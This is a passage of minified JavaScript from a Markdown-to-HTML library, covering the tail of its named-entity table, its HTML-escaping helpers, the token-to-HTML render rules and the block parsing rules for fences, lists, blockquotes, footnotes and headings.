arallel:"∦",nsim:"≁",nsime:"≄",nsimeq:"≄",nsmid:"∤",nspar:"∦",nsqsube:"⋢",nsqsupe:"⋣",nsub:"⊄",nsubE:"⫅̸",nsube:"⊈",nsubset:"⊂⃒",nsubseteq:"⊈",nsubseteqq:"⫅̸",nsucc:"⊁",nsucceq:"⪰̸",nsup:"⊅",nsupE:"⫆̸",nsupe:"⊉",nsupset:"⊃⃒",nsupseteq:"⊉",nsupseteqq:"⫆̸",ntgl:"≹",Ntilde:"Ñ",ntilde:"ñ",ntlg:"≸",ntriangleleft:"⋪",ntrianglelefteq:"⋬",ntriangleright:"⋫",ntrianglerighteq:"⋭",Nu:"Ν",nu:"ν",num:"#",numero:"№",numsp:" ",nvap:"≍⃒",nVDash:"⊯",nVdash:"⊮",nvDash:"⊭",nvdash:"⊬",nvge:"≥⃒",nvgt:">⃒",nvHarr:"⤄",nvinfin:"⧞",nvlArr:"⤂",nvle:"≤⃒",nvlt:"<⃒",nvltrie:"⊴⃒",nvrArr:"⤃",nvrtrie:"⊵⃒",nvsim:"∼⃒",nwarhk:"⤣",nwArr:"⇖",nwarr:"↖",nwarrow:"↖",nwnear:"⤧",Oacute:"Ó",oacute:"ó",oast:"⊛",ocir:"⊚",Ocirc:"Ô",ocirc:"ô",Ocy:"О",ocy:"о",odash:"⊝",Odblac:"Ő",odblac:"ő",odiv:"⨸",odot:"⊙",odsold:"⦼",OElig:"Œ",oelig:"œ",ofcir:"⦿",Ofr:"𝔒",ofr:"𝔬",ogon:"˛",Ograve:"Ò",ograve:"ò",ogt:"⧁",ohbar:"⦵",ohm:"Ω",oint:"∮",olarr:"↺",olcir:"⦾",olcross:"⦻",oline:"‾",olt:"⧀",Omacr:"Ō",omacr:"ō",Omega:"Ω",omega:"ω",Omicron:"Ο",omicron:"ο",omid:"⦶",ominus:"⊖",Oopf:"𝕆",oopf:"𝕠",opar:"⦷",OpenCurlyDoubleQuote:"“",OpenCurlyQuote:"‘",operp:"⦹",oplus:"⊕",Or:"⩔",or:"∨",orarr:"↻",ord:"⩝",order:"ℴ",orderof:"ℴ",ordf:"ª",ordm:"º",origof:"⊶",oror:"⩖",orslope:"⩗",orv:"⩛",oS:"Ⓢ",Oscr:"𝒪",oscr:"ℴ",Oslash:"Ø",oslash:"ø",osol:"⊘",Otilde:"Õ",otilde:"õ",Otimes:"⨷",otimes:"⊗",otimesas:"⨶",Ouml:"Ö",ouml:"ö",ovbar:"⌽",OverBar:"‾",OverBrace:"⏞",OverBracket:"⎴",OverParenthesis:"⏜",par:"∥",para:"¶",parallel:"∥",parsim:"⫳",parsl:"⫽",part:"∂",PartialD:"∂",Pcy:"П",pcy:"п",percnt:"%",period:".",permil:"‰",perp:"⊥",pertenk:"‱",Pfr:"𝔓",pfr:"𝔭",Phi:"Φ",phi:"φ",phiv:"ϕ",phmmat:"ℳ",phone:"☎",Pi:"Π",pi:"π",pitchfork:"⋔",piv:"ϖ",planck:"ℏ",planckh:"ℎ",plankv:"ℏ",plus:"+",plusacir:"⨣",plusb:"⊞",pluscir:"⨢",plusdo:"∔",plusdu:"⨥",pluse:"⩲",PlusMinus:"±",plusmn:"±",plussim:"⨦",plustwo:"⨧",pm:"±",Poincareplane:"ℌ",pointint:"⨕",Popf:"ℙ",popf:"𝕡",pound:"£",Pr:"⪻",pr:"≺",prap:"⪷",prcue:"≼",prE:"⪳",pre:"⪯",prec:"≺",precapprox:"⪷",preccurlyeq:"≼",Precedes:"≺",PrecedesEqual:"⪯",PrecedesSlantEqual:"≼",PrecedesTilde:"≾",preceq:"⪯",precnapprox:"⪹",precneqq:"⪵",precnsim:"⋨",precsim:"≾",Prime:"″",prime:"′",primes:"ℙ",prnap:"⪹",prnE:"⪵",prnsim:"⋨",prod:"∏",Product:"∏",profalar:"⌮",profline:"⌒",profsurf:"⌓",prop:"∝",Proportion:"∷",Proportional:"∝",propto:"∝",prsim:"≾",prurel:"⊰",Pscr:"𝒫",pscr:"𝓅",Psi:"Ψ",psi:"ψ",puncsp:" ",Qfr:"𝔔",qfr:"𝔮",qint:"⨌",Qopf:"ℚ",qopf:"𝕢",qprime:"⁗",Qscr:"𝒬",qscr:"𝓆",quaternions:"ℍ",quatint:"⨖",quest:"?",questeq:"≟",QUOT:'"',quot:'"',rAarr:"⇛",race:"∽̱",Racute:"Ŕ",racute:"ŕ",radic:"√",raemptyv:"⦳",Rang:"⟫",rang:"⟩",rangd:"⦒",range:"⦥",rangle:"⟩",raquo:"»",Rarr:"↠",rArr:"⇒",rarr:"→",rarrap:"⥵",rarrb:"⇥",rarrbfs:"⤠",rarrc:"⤳",rarrfs:"⤞",rarrhk:"↪",rarrlp:"↬",rarrpl:"⥅",rarrsim:"⥴",Rarrtl:"⤖",rarrtl:"↣",rarrw:"↝",rAtail:"⤜",ratail:"⤚",ratio:"∶",rationals:"ℚ",RBarr:"⤐",rBarr:"⤏",rbarr:"⤍",rbbrk:"❳",rbrace:"}",rbrack:"]",rbrke:"⦌",rbrksld:"⦎",rbrkslu:"⦐",Rcaron:"Ř",rcaron:"ř",Rcedil:"Ŗ",rcedil:"ŗ",rceil:"⌉",rcub:"}",Rcy:"Р",rcy:"р",rdca:"⤷",rdldhar:"⥩",rdquo:"”",rdquor:"”",rdsh:"↳",Re:"ℜ",real:"ℜ",realine:"ℛ",realpart:"ℜ",reals:"ℝ",rect:"▭",REG:"®",reg:"®",ReverseElement:"∋",ReverseEquilibrium:"⇋",ReverseUpEquilibrium:"⥯",rfisht:"⥽",rfloor:"⌋",Rfr:"ℜ",rfr:"𝔯",rHar:"⥤",rhard:"⇁",rharu:"⇀",rharul:"⥬",Rho:"Ρ",rho:"ρ",rhov:"ϱ",RightAngleBracket:"⟩",RightArrow:"→",Rightarrow:"⇒",rightarrow:"→",RightArrowBar:"⇥",RightArrowLeftArrow:"⇄",rightarrowtail:"↣",RightCeiling:"⌉",RightDoubleBracket:"⟧",RightDownTeeVector:"⥝",RightDownVector:"⇂",RightDownVectorBar:"⥕",RightFloor:"⌋",rightharpoondown:"⇁",rightharpoonup:"⇀",rightleftarrows:"⇄",rightleftharpoons:"⇌",rightrightarrows:"⇉",rightsquigarrow:"↝",RightTee:"⊢",RightTeeArrow:"↦",RightTeeVector:"⥛",rightthreetimes:"⋌",RightTriangle:"⊳",RightTriangleBar:"⧐",RightTriangleEqual:"⊵",RightUpDownVector:"⥏",RightUpTeeVector:"⥜",RightUpVector:"↾",RightUpVectorBar:"⥔",RightVector:"⇀",RightVectorBar:"⥓",ring:"˚",risingdotseq:"≓",rlarr:"⇄",rlhar:"⇌",rlm:"‏",rmoust:"⎱",rmoustache:"⎱",rnmid:"⫮",roang:"⟭",roarr:"⇾",robrk:"⟧",ropar:"⦆",Ropf:"ℝ",ropf:"𝕣",roplus:"⨮",rotimes:"⨵",RoundImplies:"⥰",rpar:")",rpargt:"⦔",rppolint:"⨒",rrarr:"⇉",Rrightarrow:"⇛",rsaquo:"›",Rscr:"ℛ",rscr:"𝓇",Rsh:"↱",rsh:"↱",rsqb:"]",rsquo:"’",rsquor:"’",rthree:"⋌",rtimes:"⋊",rtri:"▹",rtrie:"⊵",rtrif:"▸",rtriltri:"⧎",RuleDelayed:"⧴",ruluhar:"⥨",rx:"℞",Sacute:"Ś",sacute:"ś",sbquo:"‚",Sc:"⪼",sc:"≻",scap:"⪸",Scaron:"Š",scaron:"š",sccue:"≽",scE:"⪴",sce:"⪰",Scedil:"Ş",scedil:"ş",Scirc:"Ŝ",scirc:"ŝ",scnap:"⪺",scnE:"⪶",scnsim:"⋩",scpolint:"⨓",scsim:"≿",Scy:"С",scy:"с",sdot:"⋅",sdotb:"⊡",sdote:"⩦",searhk:"⤥",seArr:"⇘",searr:"↘",searrow:"↘",sect:"§",semi:";",seswar:"⤩",setminus:"∖",setmn:"∖",sext:"✶",Sfr:"𝔖",sfr:"𝔰",sfrown:"⌢",sharp:"♯",SHCHcy:"Щ",shchcy:"щ",SHcy:"Ш",shcy:"ш",ShortDownArrow:"↓",ShortLeftArrow:"←",shortmid:"∣",shortparallel:"∥",ShortRightArrow:"→",ShortUpArrow:"↑",shy:"­",Sigma:"Σ",sigma:"σ",sigmaf:"ς",sigmav:"ς",sim:"∼",simdot:"⩪",sime:"≃",simeq:"≃",simg:"⪞",simgE:"⪠",siml:"⪝",simlE:"⪟",simne:"≆",simplus:"⨤",simrarr:"⥲",slarr:"←",SmallCircle:"∘",smallsetminus:"∖",smashp:"⨳",smeparsl:"⧤",smid:"∣",smile:"⌣",smt:"⪪",smte:"⪬",smtes:"⪬︀",SOFTcy:"Ь",softcy:"ь",sol:"/",solb:"⧄",solbar:"⌿",Sopf:"𝕊",sopf:"𝕤",spades:"♠",spadesuit:"♠",spar:"∥",sqcap:"⊓",sqcaps:"⊓︀",sqcup:"⊔",sqcups:"⊔︀",Sqrt:"√",sqsub:"⊏",sqsube:"⊑",sqsubset:"⊏",sqsubseteq:"⊑",sqsup:"⊐",sqsupe:"⊒",sqsupset:"⊐",sqsupseteq:"⊒",squ:"□",Square:"□",square:"□",SquareIntersection:"⊓",SquareSubset:"⊏",SquareSubsetEqual:"⊑",SquareSuperset:"⊐",SquareSupersetEqual:"⊒",SquareUnion:"⊔",squarf:"▪",squf:"▪",srarr:"→",Sscr:"𝒮",sscr:"𝓈",ssetmn:"∖",ssmile:"⌣",sstarf:"⋆",Star:"⋆",star:"☆",starf:"★",straightepsilon:"ϵ",straightphi:"ϕ",strns:"¯",Sub:"⋐",sub:"⊂",subdot:"⪽",subE:"⫅",sube:"⊆",subedot:"⫃",submult:"⫁",subnE:"⫋",subne:"⊊",subplus:"⪿",subrarr:"⥹",Subset:"⋐",subset:"⊂",subseteq:"⊆",subseteqq:"⫅",SubsetEqual:"⊆",subsetneq:"⊊",subsetneqq:"⫋",subsim:"⫇",subsub:"⫕",subsup:"⫓",succ:"≻",succapprox:"⪸",succcurlyeq:"≽",Succeeds:"≻",SucceedsEqual:"⪰",SucceedsSlantEqual:"≽",SucceedsTilde:"≿",succeq:"⪰",succnapprox:"⪺",succneqq:"⪶",succnsim:"⋩",succsim:"≿",SuchThat:"∋",Sum:"∑",sum:"∑",sung:"♪",Sup:"⋑",sup:"⊃",sup1:"¹",sup2:"²",sup3:"³",supdot:"⪾",supdsub:"⫘",supE:"⫆",supe:"⊇",supedot:"⫄",Superset:"⊃",SupersetEqual:"⊇",suphsol:"⟉",suphsub:"⫗",suplarr:"⥻",supmult:"⫂",supnE:"⫌",supne:"⊋",supplus:"⫀",Supset:"⋑",supset:"⊃",supseteq:"⊇",supseteqq:"⫆",supsetneq:"⊋",supsetneqq:"⫌",supsim:"⫈",supsub:"⫔",supsup:"⫖",swarhk:"⤦",swArr:"⇙",swarr:"↙",swarrow:"↙",swnwar:"⤪",szlig:"ß",Tab:"\t",target:"⌖",Tau:"Τ",tau:"τ",tbrk:"⎴",Tcaron:"Ť",tcaron:"ť",Tcedil:"Ţ",tcedil:"ţ",Tcy:"Т",tcy:"т",tdot:"⃛",telrec:"⌕",Tfr:"𝔗",tfr:"𝔱",there4:"∴",Therefore:"∴",therefore:"∴",Theta:"Θ",theta:"θ",thetasym:"ϑ",thetav:"ϑ",thickapprox:"≈",thicksim:"∼",ThickSpace:"  ",thinsp:" ",ThinSpace:" ",thkap:"≈",thksim:"∼",THORN:"Þ",thorn:"þ",Tilde:"∼",tilde:"˜",TildeEqual:"≃",TildeFullEqual:"≅",TildeTilde:"≈",times:"×",timesb:"⊠",timesbar:"⨱",timesd:"⨰",tint:"∭",toea:"⤨",top:"⊤",topbot:"⌶",topcir:"⫱",Topf:"𝕋",topf:"𝕥",topfork:"⫚",tosa:"⤩",tprime:"‴",TRADE:"™",trade:"™",triangle:"▵",triangledown:"▿",triangleleft:"◃",trianglelefteq:"⊴",triangleq:"≜",triangleright:"▹",trianglerighteq:"⊵",tridot:"◬",trie:"≜",triminus:"⨺",TripleDot:"⃛",triplus:"⨹",trisb:"⧍",tritime:"⨻",trpezium:"⏢",Tscr:"𝒯",tscr:"𝓉",TScy:"Ц",tscy:"ц",TSHcy:"Ћ",tshcy:"ћ",Tstrok:"Ŧ",tstrok:"ŧ",twixt:"≬",twoheadleftarrow:"↞",twoheadrightarrow:"↠",Uacute:"Ú",uacute:"ú",Uarr:"↟",uArr:"⇑",uarr:"↑",Uarrocir:"⥉",Ubrcy:"Ў",ubrcy:"ў",Ubreve:"Ŭ",ubreve:"ŭ",Ucirc:"Û",ucirc:"û",Ucy:"У",ucy:"у",udarr:"⇅",Udblac:"Ű",udblac:"ű",udhar:"⥮",ufisht:"⥾",Ufr:"𝔘",ufr:"𝔲",Ugrave:"Ù",ugrave:"ù",uHar:"⥣",uharl:"↿",uharr:"↾",uhblk:"▀",ulcorn:"⌜",ulcorner:"⌜",ulcrop:"⌏",ultri:"◸",Umacr:"Ū",umacr:"ū",uml:"¨",UnderBar:"_",UnderBrace:"⏟",UnderBracket:"⎵",UnderParenthesis:"⏝",Union:"⋃",UnionPlus:"⊎",Uogon:"Ų",uogon:"ų",Uopf:"𝕌",uopf:"𝕦",UpArrow:"↑",Uparrow:"⇑",uparrow:"↑",UpArrowBar:"⤒",UpArrowDownArrow:"⇅",UpDownArrow:"↕",Updownarrow:"⇕",updownarrow:"↕",UpEquilibrium:"⥮",upharpoonleft:"↿",upharpoonright:"↾",uplus:"⊎",UpperLeftArrow:"↖",UpperRightArrow:"↗",Upsi:"ϒ",upsi:"υ",upsih:"ϒ",Upsilon:"Υ",upsilon:"υ",UpTee:"⊥",UpTeeArrow:"↥",upuparrows:"⇈",urcorn:"⌝",urcorner:"⌝",urcrop:"⌎",Uring:"Ů",uring:"ů",urtri:"◹",Uscr:"𝒰",uscr:"𝓊",utdot:"⋰",Utilde:"Ũ",utilde:"ũ",utri:"▵",utrif:"▴",uuarr:"⇈",Uuml:"Ü",uuml:"ü",uwangle:"⦧",vangrt:"⦜",varepsilon:"ϵ",varkappa:"ϰ",varnothing:"∅",varphi:"ϕ",varpi:"ϖ",varpropto:"∝",vArr:"⇕",varr:"↕",varrho:"ϱ",varsigma:"ς",varsubsetneq:"⊊︀",varsubsetneqq:"⫋︀",varsupsetneq:"⊋︀",varsupsetneqq:"⫌︀",vartheta:"ϑ",vartriangleleft:"⊲",vartriangleright:"⊳",Vbar:"⫫",vBar:"⫨",vBarv:"⫩",Vcy:"В",vcy:"в",VDash:"⊫",Vdash:"⊩",vDash:"⊨",vdash:"⊢",Vdashl:"⫦",Vee:"⋁",vee:"∨",veebar:"⊻",veeeq:"≚",vellip:"⋮",Verbar:"‖",verbar:"|",Vert:"‖",vert:"|",VerticalBar:"∣",VerticalLine:"|",VerticalSeparator:"❘",VerticalTilde:"≀",VeryThinSpace:" ",Vfr:"𝔙",vfr:"𝔳",vltri:"⊲",vnsub:"⊂⃒",vnsup:"⊃⃒",Vopf:"𝕍",vopf:"𝕧",vprop:"∝",vrtri:"⊳",Vscr:"𝒱",vscr:"𝓋",vsubnE:"⫋︀",vsubne:"⊊︀",vsupnE:"⫌︀",vsupne:"⊋︀",Vvdash:"⊪",vzigzag:"⦚",Wcirc:"Ŵ",wcirc:"ŵ",wedbar:"⩟",Wedge:"⋀",wedge:"∧",wedgeq:"≙",weierp:"℘",Wfr:"𝔚",wfr:"𝔴",Wopf:"𝕎",wopf:"𝕨",wp:"℘",wr:"≀",wreath:"≀",Wscr:"𝒲",wscr:"𝓌",xcap:"⋂",xcirc:"◯",xcup:"⋃",xdtri:"▽",Xfr:"𝔛",xfr:"𝔵",xhArr:"⟺",xharr:"⟷",Xi:"Ξ",xi:"ξ",xlArr:"⟸",xlarr:"⟵",xmap:"⟼",xnis:"⋻",xodot:"⨀",Xopf:"𝕏",xopf:"𝕩",xoplus:"⨁",xotime:"⨂",xrArr:"⟹",xrarr:"⟶",Xscr:"𝒳",xscr:"𝓍",xsqcup:"⨆",xuplus:"⨄",xutri:"△",xvee:"⋁",xwedge:"⋀",Yacute:"Ý",yacute:"ý",YAcy:"Я",yacy:"я",Ycirc:"Ŷ",ycirc:"ŷ",Ycy:"Ы",ycy:"ы",yen:"¥",Yfr:"𝔜",yfr:"𝔶",YIcy:"Ї",yicy:"ї",Yopf:"𝕐",yopf:"𝕪",Yscr:"𝒴",yscr:"𝓎",YUcy:"Ю",yucy:"ю",Yuml:"Ÿ",yuml:"ÿ",Zacute:"Ź",zacute:"ź",Zcaron:"Ž",zcaron:"ž",Zcy:"З",zcy:"з",Zdot:"Ż",zdot:"ż",zeetrf:"ℨ",ZeroWidthSpace:"​",Zeta:"Ζ",zeta:"ζ",Zfr:"ℨ",zfr:"𝔷",ZHcy:"Ж",zhcy:"ж",zigrarr:"⇝",Zopf:"ℤ",zopf:"𝕫",Zscr:"𝒵",zscr:"𝓏",zwj:"‍",zwnj:"‌"},r=Object.prototype.hasOwnProperty;function n(e){return o=e,(n=t)&&r.call(n,o)?t[e]:e;var n,o}var o=Object.prototype.hasOwnProperty;function s(e,t){return!!e&&o.call(e,t)}function i(e){return[].slice.call(arguments,1).forEach(function(t){if(t){if("object"!=typeof t)throw new TypeError(t+"must be object");Object.keys(t).forEach(function(r){e[r]=t[r]})}}),e}var a=/\\([\\!"#$%&'()*+,.\/:;<=>?@[\]^_`{|}~-])/g;function u(e){return e.indexOf("\\")<0?e:e.replace(a,"$1")}function l(e){return!(e>=55296&&e<=57343)&&(!(e>=64976&&e<=65007)&&(65535!=(65535&e)&&65534!=(65535&e)&&(!(e>=0&&e<=8)&&(11!==e&&(!(e>=14&&e<=31)&&(!(e>=127&&e<=159)&&!(e>1114111)))))))}function c(e){if(e>65535){var t=55296+((e-=65536)>>10),r=56320+(1023&e);return String.fromCharCode(t,r)}return String.fromCharCode(e)}var p=/&([a-z#][a-z0-9]{1,31});/gi,h=/^#((?:x[a-f0-9]{1,8}|[0-9]{1,8}))/i;function f(e,t){var r=0,o=n(t);return t!==o?o:35===t.charCodeAt(0)&&h.test(t)&&l(r="x"===t[1].toLowerCase()?parseInt(t.slice(2),16):parseInt(t.slice(1),10))?c(r):e}function g(e){return e.indexOf("&")<0?e:e.replace(p,f)}var d=/[&<>"]/,m=/[&<>"]/g,b={"&":"&","<":"<",">":">",'"':"""};function v(e){return b[e]}function k(e){return d.test(e)?e.replace(m,v):e}var A=Object.freeze({isString:function(e){return"[object String]"===function(e){return Object.prototype.toString.call(e)}(e)},has:s,assign:i,unescapeMd:u,isValidEntityCode:l,fromCodePoint:c,replaceEntities:g,escapeHtml:k}),y={};y.blockquote_open=function(){return"
\n"},y.blockquote_close=function(e,t){return"
"+x(e,t)},y.code=function(e,t){return e[t].block?"
"+k(e[t].content)+"
"+x(e,t):""+k(e[t].content)+""},y.fence=function(e,t,r,n,o){var i,a,l=e[t],c="",p=r.langPrefix;if(l.params){if(a=(i=l.params.split(/\s+/g)).join(" "),s(o.rules.fence_custom,i[0]))return o.rules.fence_custom[i[0]](e,t,r,n,o);c=' class="'+p+k(g(u(a)))+'"'}return"
"+(r.highlight&&r.highlight.apply(r.highlight,[l.content].concat(i))||k(l.content))+"
"+x(e,t)},y.fence_custom={},y.heading_open=function(e,t){return""},y.heading_close=function(e,t){return"\n"},y.hr=function(e,t,r){return(r.xhtmlOut?"
":"
")+x(e,t)},y.bullet_list_open=function(){return"
    \n"},y.bullet_list_close=function(e,t){return"
"+x(e,t)},y.list_item_open=function(){return"
  • "},y.list_item_close=function(){return"
  • \n"},y.ordered_list_open=function(e,t){var r=e[t];return"1?' start="'+r.order+'"':"")+">\n"},y.ordered_list_close=function(e,t){return""+x(e,t)},y.paragraph_open=function(e,t){return e[t].tight?"":"

    "},y.paragraph_close=function(e,t){var r=!(e[t].tight&&t&&"inline"===e[t-1].type&&!e[t-1].content);return(e[t].tight?"":"

    ")+(r?x(e,t):"")},y.link_open=function(e,t,r){var n=e[t].title?' title="'+k(g(e[t].title))+'"':"",o=r.linkTarget?' target="'+r.linkTarget+'"':"";return'"},y.link_close=function(){return""},y.image=function(e,t,r){var n=' src="'+k(e[t].src)+'"',o=e[t].title?' title="'+k(g(e[t].title))+'"':"";return""},y.table_open=function(){return"\n"},y.table_close=function(){return"
    \n"},y.thead_open=function(){return"\n"},y.thead_close=function(){return"\n"},y.tbody_open=function(){return"\n"},y.tbody_close=function(){return"\n"},y.tr_open=function(){return""},y.tr_close=function(){return"\n"},y.th_open=function(e,t){var r=e[t];return""},y.th_close=function(){return""},y.td_open=function(e,t){var r=e[t];return""},y.td_close=function(){return""},y.strong_open=function(){return""},y.strong_close=function(){return""},y.em_open=function(){return""},y.em_close=function(){return""},y.del_open=function(){return""},y.del_close=function(){return""},y.ins_open=function(){return""},y.ins_close=function(){return""},y.mark_open=function(){return""},y.mark_close=function(){return""},y.sub=function(e,t){return""+k(e[t].content)+""},y.sup=function(e,t){return""+k(e[t].content)+""},y.hardbreak=function(e,t,r){return r.xhtmlOut?"
    \n":"
    \n"},y.softbreak=function(e,t,r){return r.breaks?r.xhtmlOut?"
    \n":"
    \n":"\n"},y.text=function(e,t){return k(e[t].content)},y.htmlblock=function(e,t){return e[t].content},y.htmltag=function(e,t){return e[t].content},y.abbr_open=function(e,t){return''},y.abbr_close=function(){return""},y.footnote_ref=function(e,t){var r=Number(e[t].id+1).toString(),n="fnref"+r;return e[t].subId>0&&(n+=":"+e[t].subId),'['+r+"]"},y.footnote_block_open=function(e,t,r){return(r.xhtmlOut?'
    \n':'
    \n')+'
    \n
      \n'},y.footnote_block_close=function(){return"
    \n
    \n"},y.footnote_open=function(e,t){return'
  • '},y.footnote_close=function(){return"
  • \n"},y.footnote_anchor=function(e,t){var r="fnref"+Number(e[t].id+1).toString();return e[t].subId>0&&(r+=":"+e[t].subId),' '},y.dl_open=function(){return"
    \n"},y.dt_open=function(){return"
    "},y.dd_open=function(){return"
    "},y.dl_close=function(){return"
    \n"},y.dt_close=function(){return"\n"},y.dd_close=function(){return"\n"};var x=y.getBreak=function(e,t){return(t=function e(t,r){return++r>=t.length-2?r:"paragraph_open"===t[r].type&&t[r].tight&&"inline"===t[r+1].type&&0===t[r+1].content.length&&"paragraph_close"===t[r+2].type&&t[r+2].tight?e(t,r+2):r}(e,t))1)break;if(41===r&&--n<0)break;t++}return s!==t&&(o=u(e.src.slice(s,t)),!!e.parser.validateLink(o)&&(e.linkContent=o,e.pos=t,!0))}function F(e,t){var r,n=t,o=e.posMax,s=e.src.charCodeAt(t);if(34!==s&&39!==s&&40!==s)return!1;for(t++,40===s&&(s=41);t=e.length)&&!I.test(e[t])}function H(e,t,r){return e.substr(0,t)+r+e.substr(t+1)}var V=[["block",function(e){e.inlineMode?e.tokens.push({type:"inline",content:e.src.replace(/\n/g," ").trim(),level:0,lines:[0,1],children:[]}):e.block.parse(e.src,e.options,e.env,e.tokens)}],["abbr",function(e){var t,r,n,o,s=e.tokens;if(!e.inlineMode)for(t=1,r=s.length-1;t0?i[t].count:1,n=0;n=0;t--)if("text"===(s=o[t]).type){for(u=0,i=s.content,c.lastIndex=0,l=s.level,a=[];p=c.exec(i);)c.lastIndex>u&&a.push({type:"text",content:i.slice(u,p.index+p[1].length),level:l}),a.push({type:"abbr_open",title:e.env.abbreviations[":"+p[2]],level:l++}),a.push({type:"text",content:p[2],level:l}),a.push({type:"abbr_close",level:--l}),u=c.lastIndex-p[3].length;a.length&&(u=0;s--)if("inline"===e.tokens[s].type)for(t=(o=e.tokens[s].children).length-1;t>=0;t--)"text"===(r=o[t]).type&&(n=r.content,n=(i=n).indexOf("(")<0?i:i.replace(N,function(e,t){return z[t.toLowerCase()]}),R.test(n)&&(n=n.replace(/\+-/g,"±").replace(/\.{2,}/g,"…").replace(/([?!])…/g,"$1..").replace(/([?!]){4,}/g,"$1$1$1").replace(/,{2,}/g,",").replace(/(^|[^-])---([^-]|$)/gm,"$1—$2").replace(/(^|\s)--(\s|$)/gm,"$1–$2").replace(/(^|[^-\s])--([^-\s]|$)/gm,"$1–$2")),r.content=n)}],["smartquotes",function(e){var t,r,n,o,s,i,a,u,l,c,p,h,f,g,d,m,b;if(e.options.typographer)for(b=[],d=e.tokens.length-1;d>=0;d--)if("inline"===e.tokens[d].type)for(m=e.tokens[d].children,b.length=0,t=0;t=0&&!(b[f].level<=a);f--);b.length=f+1,s=0,i=(n=r.content).length;e:for(;s=0&&(c=b[f],!(b[f].level=(o=e.eMarks[t])?-1:42!==(r=e.src.charCodeAt(n++))&&45!==r&&43!==r?-1:n=o)return-1;if((r=e.src.charCodeAt(n++))<48||r>57)return-1;for(;;){if(n>=o)return-1;if(!((r=e.src.charCodeAt(n++))>=48&&r<=57)){if(41===r||46===r)break;return-1}}return n=this.eMarks[e]},$.prototype.skipEmptyLines=function(e){for(var t=this.lineMax;er;)if(t!==this.src.charCodeAt(--e))return e+1;return e},$.prototype.getLines=function(e,t,r,n){var o,s,i,a,u,l=e;if(e>=t)return"";if(l+1===t)return s=this.bMarks[l]+Math.min(this.tShift[l],r),i=n?this.eMarks[l]+1:this.eMarks[l],this.src.slice(s,i);for(a=new Array(t-e),o=0;lr&&(u=r),u<0&&(u=0),s=this.bMarks[l]+u,i=l+1]/,K=/^<\/([a-zA-Z]{1,15})[\s>]/;function Q(e,t){var r=e.bMarks[t]+e.blkIndent,n=e.eMarks[t];return e.src.substr(r,n-r)}function X(e,t){var r,n,o=e.bMarks[t]+e.tShift[t],s=e.eMarks[t];return o>=s?-1:126!==(n=e.src.charCodeAt(o++))&&58!==n?-1:o===(r=e.skipSpaces(o))?-1:r>=s?-1:r}var ee=[["code",function(e,t,r){var n,o;if(e.tShift[t]-e.blkIndent<4)return!1;for(o=n=t+1;n=4))break;o=++n}return e.line=n,e.tokens.push({type:"code",content:e.getLines(t,o,4+e.blkIndent,!0),block:!0,lines:[t,e.line],level:e.level}),!0}],["fences",function(e,t,r,n){var o,s,i,a,u,l=!1,c=e.bMarks[t]+e.tShift[t],p=e.eMarks[t];if(c+3>p)return!1;if(126!==(o=e.src.charCodeAt(c))&&96!==o)return!1;if(u=c,(s=(c=e.skipChars(c,o))-u)<3)return!1;if((i=e.src.slice(c,p).trim()).indexOf("`")>=0)return!1;if(n)return!0;for(a=t;!(++a>=r||(c=u=e.bMarks[a]+e.tShift[a])<(p=e.eMarks[a])&&e.tShift[a]=4||(c=e.skipChars(c,o))-um)return!1;if(62!==e.src.charCodeAt(d++))return!1;if(e.level>=e.options.maxNesting)return!1;if(n)return!0;for(32===e.src.charCodeAt(d)&&d++,u=e.blkIndent,e.blkIndent=0,a=[e.bMarks[t]],e.bMarks[t]=d,s=(d=d=m,i=[e.tShift[t]],e.tShift[t]=d-e.bMarks[t],p=e.parser.ruler.getRules("blockquote"),o=t+1;o=(m=e.eMarks[o]));o++)if(62!==e.src.charCodeAt(d++)){if(s)break;for(g=!1,h=0,f=p.length;h=m,i.push(e.tShift[o]),e.tShift[o]=d-e.bMarks[o];for(l=e.parentType,e.parentType="blockquote",e.tokens.push({type:"blockquote_open",lines:c=[t,0],level:e.level++}),e.parser.tokenize(e,t,o),e.tokens.push({type:"blockquote_close",level:--e.level}),e.parentType=l,c[1]=e.line,h=0;hu)return!1;if(42!==(o=e.src.charCodeAt(a++))&&45!==o&&95!==o)return!1;for(s=1;a=0)d=!0;else{if(!((p=Z(e,t))>=0))return!1;d=!1}if(e.level>=e.options.maxNesting)return!1;if(g=e.src.charCodeAt(p-1),n)return!0;for(b=e.tokens.length,d?(c=e.bMarks[t]+e.tShift[t],f=Number(e.src.substr(c,p-c-1)),e.tokens.push({type:"ordered_list_open",order:f,lines:k=[t,0],level:e.level++})):e.tokens.push({type:"bullet_list_open",lines:k=[t,0],level:e.level++}),o=t,v=!1,y=e.parser.ruler.getRules("list");!(!(o=e.eMarks[o]?1:m-p)>4&&(h=1),h<1&&(h=1),s=p-e.bMarks[o]+h,e.tokens.push({type:"list_item_open",lines:A=[t,0],level:e.level++}),a=e.blkIndent,u=e.tight,i=e.tShift[t],l=e.parentType,e.tShift[t]=m-e.bMarks[t],e.blkIndent=s,e.tight=!0,e.parentType="list",e.parser.tokenize(e,t,r,!0),e.tight&&!v||(E=!1),v=e.line-t>1&&e.isEmpty(e.line-1),e.blkIndent=a,e.tShift[t]=i,e.tight=u,e.parentType=l,e.tokens.push({type:"list_item_close",level:--e.level}),o=t=e.line,A[1]=o,m=e.bMarks[t],o>=r)||e.isEmpty(o)||e.tShift[o]c)return!1;if(91!==e.src.charCodeAt(l))return!1;if(94!==e.src.charCodeAt(l+1))return!1;if(e.level>=e.options.maxNesting)return!1;for(a=l+2;a=c||58!==e.src.charCodeAt(++a)||!n&&(a++,e.env.footnotes||(e.env.footnotes={}),e.env.footnotes.refs||(e.env.footnotes.refs={}),u=e.src.slice(l+2,a-2),e.env.footnotes.refs[":"+u]=-1,e.tokens.push({type:"footnote_reference_open",label:u,level:e.level++}),o=e.bMarks[t],s=e.tShift[t],i=e.parentType,e.tShift[t]=e.skipSpaces(a)-a,e.bMarks[t]=a,e.blkIndent+=4,e.parentType="footnote",e.tShift[t]=u)return!1;if(35!==(o=e.src.charCodeAt(a))||a>=u)return!1;for(s=1,o=e.src.charCodeAt(++a);35===o&&a6||aa&&32===e.src.charCodeAt(i-1)&&(u=i),e.line=t+1,e.tokens.push({type:"heading_open",hLevel:s,lines:[t,e.line],level:e.level}),a=r||e.tShift[i]3||(o=e.bMarks[i]+e.tShift[i])>=(s=e.eMarks[i])||45!==(n=e.src.charCodeAt(o))&&61!==n||(o=e.skipChars(o,n),(o=e.skipSpaces(o))3||a+2>=u)return!1;if(60!==e.src.charCodeAt(a))return!1;if(33===(o=e.src.charCodeAt(a+1))||63===o){if(n)return!0}else{if(47!==o&&!function(e){var t=32|e;return 